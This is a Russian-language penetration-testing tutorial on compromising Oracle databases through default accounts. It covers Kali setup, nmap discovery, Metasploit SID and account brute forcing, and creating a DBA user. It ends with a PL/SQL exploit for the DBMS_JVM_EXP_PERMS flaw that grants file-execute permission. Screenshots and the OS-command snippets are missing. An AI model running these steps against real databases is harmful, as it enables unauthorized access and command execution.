Добрый день, друзья.

Однажды, при проведении пентеста компании, X я наткнулся на очень известный и критичный кейс, а именно – Oracle Default Users. Тема довольна старая и распространенная, но новичкам будет интересно и подойдет в качестве Guide-а.

Демонстрацию будем проводить на тестовой базе Oracle, а в качестве атакующей машины будем использовать Kali Linux. Прежде чем начать атаку нужно немного «пошаманить» на Kali Linux, для того чтобы у нас заработал sqlplus и заработали нужные нам модули из metasploit framework.

Начинаем:

Для начала создайте директорию /opt/oracle:
mkdir/opt/oracle

После перейдите по ссылке и скачайте следующие пакеты:

После завершения загрузки распакуйте архивы в директорию /opt/oracle:
unzip instantclient-basic-linux.x64-12.1.0.2.0.zip –d /opt/oracle
unzip instantclient-sqlplus-linux.x64-12.1.0.2.0.zip –d /opt/oracle
unzip instantclient-sdk-linux.x64-12.1.0.2.0.zip –d /opt/oracle

Следующий шаг добавить необходимые переменные в файл ~/.bashrc, откройте файл на редактирование, в самом конце добавьте:
export PATH=/opt/metasploit/ruby/bin:/opt/oracle/instantclient_11_2:$PATH:
export SQLPATH=/opt/oracle/instantclient_12_1
export TNS_ADMIN=/opt/oracle/instantclient_12_1
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1
export ORACLE_HOME=/opt/oracle/instantclient_12_1

Если вы сделали все правильно, то, используя sqlplus, сможете подключиться к базе данных Oracle. И последним шагом будет установка ruby-oci8, который необходим metasploit-у для запуска модулей.

Скачаем нужный нам архив:
wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.7.zip

Распакуем его:
unzip ruby-oci8-2.1.7.zip

Дальше надо установить пакет libgmp-dev:
apt-get install libgmp-dev

Перейдем в директорию ruby-oci8-ruby-oci8-2.1.7 и запустим команды:
make && make install

Если все шаги были выполнены успешно, то metasploit к бою готов!

После того как все готово приступим к разведке атакуемой сети, первым делом нам нужно найти системы, где функционирует база данных Oracle. По умолчанию порт базы данных Oracle прослушивается на порту 1521 tcp, но иногда, на практике, встречаются и другие порты (например, 1522,1523,1524). Для того, чтобы быстро определить нахождения базы давайте запустим сканер портов nmap, в нашем случае диапазон тестируемой сети 192.168.17.0/24.

Nmap –p 1521-1526 192.168.1.0/24 –open

Если в сети присутствует база данных — мы можем увидеть такой вывод:

1

Дальше мы должны определить версию базы данных. Если повезет, то вы столкнетесь с версией ниже 11, если нет — придется набраться терпения и найти хороший словарь для перебора.

В metasploit framework, есть модуль для определения версии базы данных. Запускаем metasploit, выбираем модуль auxiliary/scanner/oracle/tnslsnr_version, устанавливаем значение rhost и запускаем. Если версия ниже 11, то модуль выдаст вам версию баз данных, если 11 или выше — ошибку. В случае если вы обнаружили версию ниже 11, то можете запускать модуль auxiliary/scanner/oracle/sid_enum, для получения SID значения. SID — это уникальное значение, которое идентифицирует базу данных, в дальнейшем оно понадобиться нам для подключения к базе.

Но что делать, если версия базы 11 и выше? В этом случае на помощь приходит старый добрый метод brute force. Из своей практики могу сказать, что администраторы баз данных часто устанавливают значение SID ORCL, но при подборе значения можно использовать название компании, вендора программного обеспечения или же социальную инженерию. Для брутфорса SID нам может помочь модуль из metasploit-а:

или же скрипт сканера nmap,

Metasploit:

2

Nmap:

3

После того как мы получили SID, можем начать «брутить» дефолтные аккаунты. На этом шаге тоже многое зависит от версии базы данных. В старых версиях есть несколько дефолтных аккаунтов со стандартным паролем. В версии 11.2.0 эти аккаунты по умолчанию заблокированы, но не стоит вешать нос: если ваша цель 11-ая версия базы, помните, что некоторые администраторы часто используют эти акаунты для теста и забывают их обратно заблокировать, также во многих случаях на базу данных Oracle устанавливаются другие приложения, которые добавляют число дефолтных аккаунтов. Для брутфорса аккаунтов нам может помочь модуль из metasploit-a:

Так как все наши действия проводились на тестовой базе, была обнаружена возможность подключения sys as sysdba, но даже при атаках на боевую систему были обнаружены несколько дефолтных аккаунтов и один с привилегиями DBA;

4

Если вы смогли обнаружить данные для подключения as sysdba, можете подключиться к базе и создать другого пользователя, присвоив ему затем привилегии DBA. Это делается если, используя модули metasploit-а, не получилось подключиться как sysdba.

5

Если вы смогли обнаружить пользователя без привилегий DBA и версия базы ниже 11, то в metasploit-е есть очень много модулей для повышения привилегий, вы можете найти их в модуле

Если же версия базы 11 и выше, то тут все зависит от того какими привилегиями обладает пользователь (создание функции, процедуры, индекса на какой-то таблице и т.д.). Например, в 11 версии была найдена уязвимость, которая позволяла выполнять системные команды, уязвимость заключалась в пакете DBMS_JVM_EXP_PERMS.

Код эксплоита:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>’,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;

Для выполнения команд на OS Windows:

Для выполнения команд на OS Linux: